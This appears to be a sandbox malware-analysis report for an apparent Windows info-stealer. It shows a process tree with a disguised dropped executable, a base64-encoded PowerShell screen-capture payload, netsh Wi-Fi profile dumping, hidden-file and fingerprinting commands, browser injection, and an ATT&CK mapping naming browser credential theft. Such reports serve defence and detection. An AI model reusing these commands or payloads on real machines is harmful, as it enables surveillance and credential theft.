  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhPHAAGgBpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHQgIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  PID:6108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffc12a9c728,0x7ffc12a9c734,0x7ffc12a9c740
    3⤵
    PID:3076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1860,i,15135554216415657227,14987084458299273074,524288 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=2544 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1668,i,5267588653241349260,976788937387618727,262144 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:2
    3⤵
    PID:2512
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --force-high-res-timeticks=disabled --metrics-shmem-handle=1964,i,12183062004035590165,4090453676445632432,524288 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=2564 /prefetch:13
    3⤵
    PID:3232
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3220,i,9545644691204307599,3527758566843968397,2097152 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=3268 /prefetch:1
    3⤵
    PID:4944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3224,i,12811417688971798860,2332768002363967071,2097152 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=3320 /prefetch:1
    3⤵
    PID:1544
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3924,i,8995752549096600625,3963642175716992792,2097152 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=3928 /prefetch:1
    3⤵
    PID:2608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3948,i,16900321573918238215,7919304580153775250,2097152 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=3956 /prefetch:9
    3⤵
    PID:5888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-1392395915" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=1152,i,3143862052473625900,6203447120329786968,2097152 --field-trial-handle=2508,i,12741423828171062121,131391576524211911,262144 --variations-seed-version --mojo-platform-channel-handle=4656 /prefetch:9
    3⤵
    PID:2800

C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
1⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1056
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
  2⤵
  - Views/modifies file attributes
  PID:756
- C:\Windows\System32\Wbem\wmic.exe
  wmic path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:2924
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winlogon_helper.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Windows\winlogon_helper.exe
  2⤵
  - Executes dropped EXE
  PID:4388
- C:\Windows\System32\Wbem\wmic.exe
  wmic csproduct get UUID
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3044
- C:\Windows\system32\netsh.exe
  netsh wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhPHAAGgBpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHQgIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5984
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368"
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffc12a9c728,0x7ffc12a9c734,0x7ffc12a9c740
    3⤵
    PID:1952
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1644,i,5717983421661396101,8322906159804264252,262144 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:2
    3⤵
    PID:1920
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1620,i,5078819627367461096,15942141467897132133,524288 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5940
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --force-high-res-timeticks=disabled --metrics-shmem-handle=2200,i,1101796185253324257,6486774844217405533,524288 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=2556 /prefetch:13
    3⤵
    PID:4208
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3292,i,17828871870360186422,13732594616707236675,2097152 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=3296 /prefetch:1
    3⤵
    PID:4656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3320,i,5331998306296372211,234777382385013695,2097152 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=3336 /prefetch:1
    3⤵
    PID:1092
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3968,i,5871899639857477115,11141525895670093770,2097152 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=3992 /prefetch:1
    3⤵
    PID:4036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=3984,i,1768615228089738836,9376532156610967911,2097152 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=4012 /prefetch:9
    3⤵
    PID:5888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4700,i,16250750979736908584,4593378524025916741,2097152 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=4716 /prefetch:9
    3⤵
    PID:6032
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5100,i,1186334998174993018,10975965717796289998,2097152 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:1
    3⤵
    PID:5056
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --user-data-dir="C:\Users\Admin\AppData\Local\Temp\hbd-inj-udd-3626903368" --force-high-res-timeticks=disabled --metrics-shmem-handle=5228,i,18183456511700801555,3713061999285928291,524288 --field-trial-handle=2044,i,14152796664267711279,16111049216596986258,262144 --variations-seed-version --mojo-platform-channel-handle=4640 /prefetch:14
    3⤵
    PID:3236

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1748

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2532

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2596

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:260

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

cookie-shm

Path C:\Users\Admin\AppData\Local\Temp\hbd-1888815569\cookie-shm
Size 32KB
